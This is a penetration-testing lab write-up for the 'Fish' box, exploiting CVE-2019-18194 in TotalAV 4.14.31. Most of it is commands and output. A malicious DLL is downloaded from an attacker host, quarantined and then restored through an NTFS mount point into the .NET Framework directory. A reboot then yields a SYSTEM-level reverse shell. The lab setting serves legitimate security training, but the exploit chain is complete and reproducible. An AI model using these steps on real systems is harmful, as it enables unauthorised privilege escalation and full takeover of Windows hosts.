Fish_Privilege_Escalation

CVE-2019-18194

---

The target TotalAV instance has been confirmed to be vulnerable to CVE-2019-18194 due to its outdated version; 4.14.31

A vulnerability has been found in TotalAV 2020 4.14.31 and classified as critical. Affected by this vulnerability is an unknown functionality of the component Quarantine. The manipulation leads to privileges management. This vulnerability is known as CVE-2019-18194. It is possible to launch the attack on the local host.

Exploit

---

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fish]
└─$ searchsploit -m windows/local/47897.txt ; mv 47897.txt CVE-2019-18194.txt
  Exploit: TotalAV 2020 4.14.31 - Privilege Escalation
      URL: https://www.exploit-db.com/exploits/47897
     Path: /usr/share/exploitdb/exploits/windows/local/47897.txt
    Codes: CVE-2019-18194
 Verified: True
File Type: ASCII text
Copied to: /home/kali/PEN-200/PG_PRACTICE/fish/47897.txt
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fish]
└─$ cat CVE-2019-18194.txt 
# Exploit Title: TotalAV 2020 4.14.31 - Privilege Escalation
# Date: 2020-01-09
# Exploit Author: Kusol Watchara-Apanukorn
# Vendor Homepage: https://www.totalav.com/
# Version: 4.14.31
# Fixed on:  5.3.35
# Tested on: Windows 10 x64
# CVE : CVE-2019-18194
 
# Vulnerability Description:
# TotalAV 2020 4.14.31 has quarantine flaw that allows attacker escape of
# privilege by using NTFS directory junction.
 
**You can download vulnerability version with this link:
https://install.protected.net/windows/cdn3/4.14.31/TotalAV_Setup.exe
 
///////////////////////////////////
   Proof of Concept
//////////////////////////////////
1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious dll
3. Move it to quarantine.
4. Attacker must create NTFS directory junction to restore
 
Full step: https://www.youtube.com/watch?v=88qeaLq98Gc
 
 
Vulnerability Disclosure Timeline:
==================================
17 Oct, 19 : Found Vulnerability
18 Oct, 19 : Vendor Notification
18 Oct, 19 : Request CVE
21 Oct, 19 : Vendor Response
mid Dec, 19  : Vendor released new patched (v5.3.35)
09 Jan, 20: Vulnerability Disclosure         

Exploit locally available

Exploitation

---

Exploitation consist of 2 parts;

• Scanning & quarantining the payload
• Restoring the payload with a symlink from original directory to the sensitive directory

Scan & Quarantine

---

PS C:\Program Files (x86)\TotalAV> mkdir C:\MountPoint ; cd C:\MountPoint ; iwr -Uri http://192.168.45.249/CVE-2019-18194.dll -OutFile C:\MountPoint\CVE-2019-18194.dll
 
    Directory: C:\
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/31/2021   8:34 AM                MountPoint

Delivering payload; CVE-2019-18194.dll

Quick Scan > Custom scan

PS C:\MountPoint> mv .\CVE-2019-18194.dll version.dll

Renaming the payload to version.dll

Scanning the payload

Scanning complete

Clicking into Remove Threats button to quarantine the payload

The payload is no longer present in the C:\MountPoint directory

Restoration with Symlink

---

PS C:\> mkdir C:\tmp ; cd C:\tmp ; iwr -Uri http://192.168.45.249/CreateMountPoint.exe -OutFile C:\tmp\CreateMountPoint.exe

Delivering one of the symboliclink-testing-tools

PS C:\tmp> .\CreateMountPoint.exe "C:\MountPoint\" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"

Creating a symlink from C:\MountPoint to C:\Windows\Microsoft.NET\Framework\v4.0.30319\

The C:\Windows\Microsoft.NET\Framework\v4.0.30319\ directory does not have the version.dll file for now

Now restoring the quarantined payload, version.dll, should restore it to the C:\Windows\Microsoft.NET\Framework\v4.0.30319\ directory due to the symlink.

The payload, version.dll, is now stored to the C:\Windows\Microsoft.NET\Framework\v4.0.30319\ directory.

Restarting

---

PS C:\tmp> Restart-Computer

Now restarting the target system As part of the booting process, it will load the C:\Windows\Microsoft.NET\Framework\v4.0.30319\version.dll file as there are many programs, including TotalAV, that rely on .NET 4.0.30319 runtime

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fish]
└─$ nnc 1234  
listening on [any] 1234 ...
connect to [192.168.45.249] from (UNKNOWN) [192.168.219.168] 49709
Microsoft Windows [Version 10.0.19042.1288]
(c) Microsoft Corporation. All rights reserved.
 
C:\WINDOWS\system32> whoami
 whoami
nt authority\system
 
C:\WINDOWS\system32> hostname
 hostname
Fishyyy
 
C:\WINDOWS\system32> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.219.168
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.219.254

System level compromise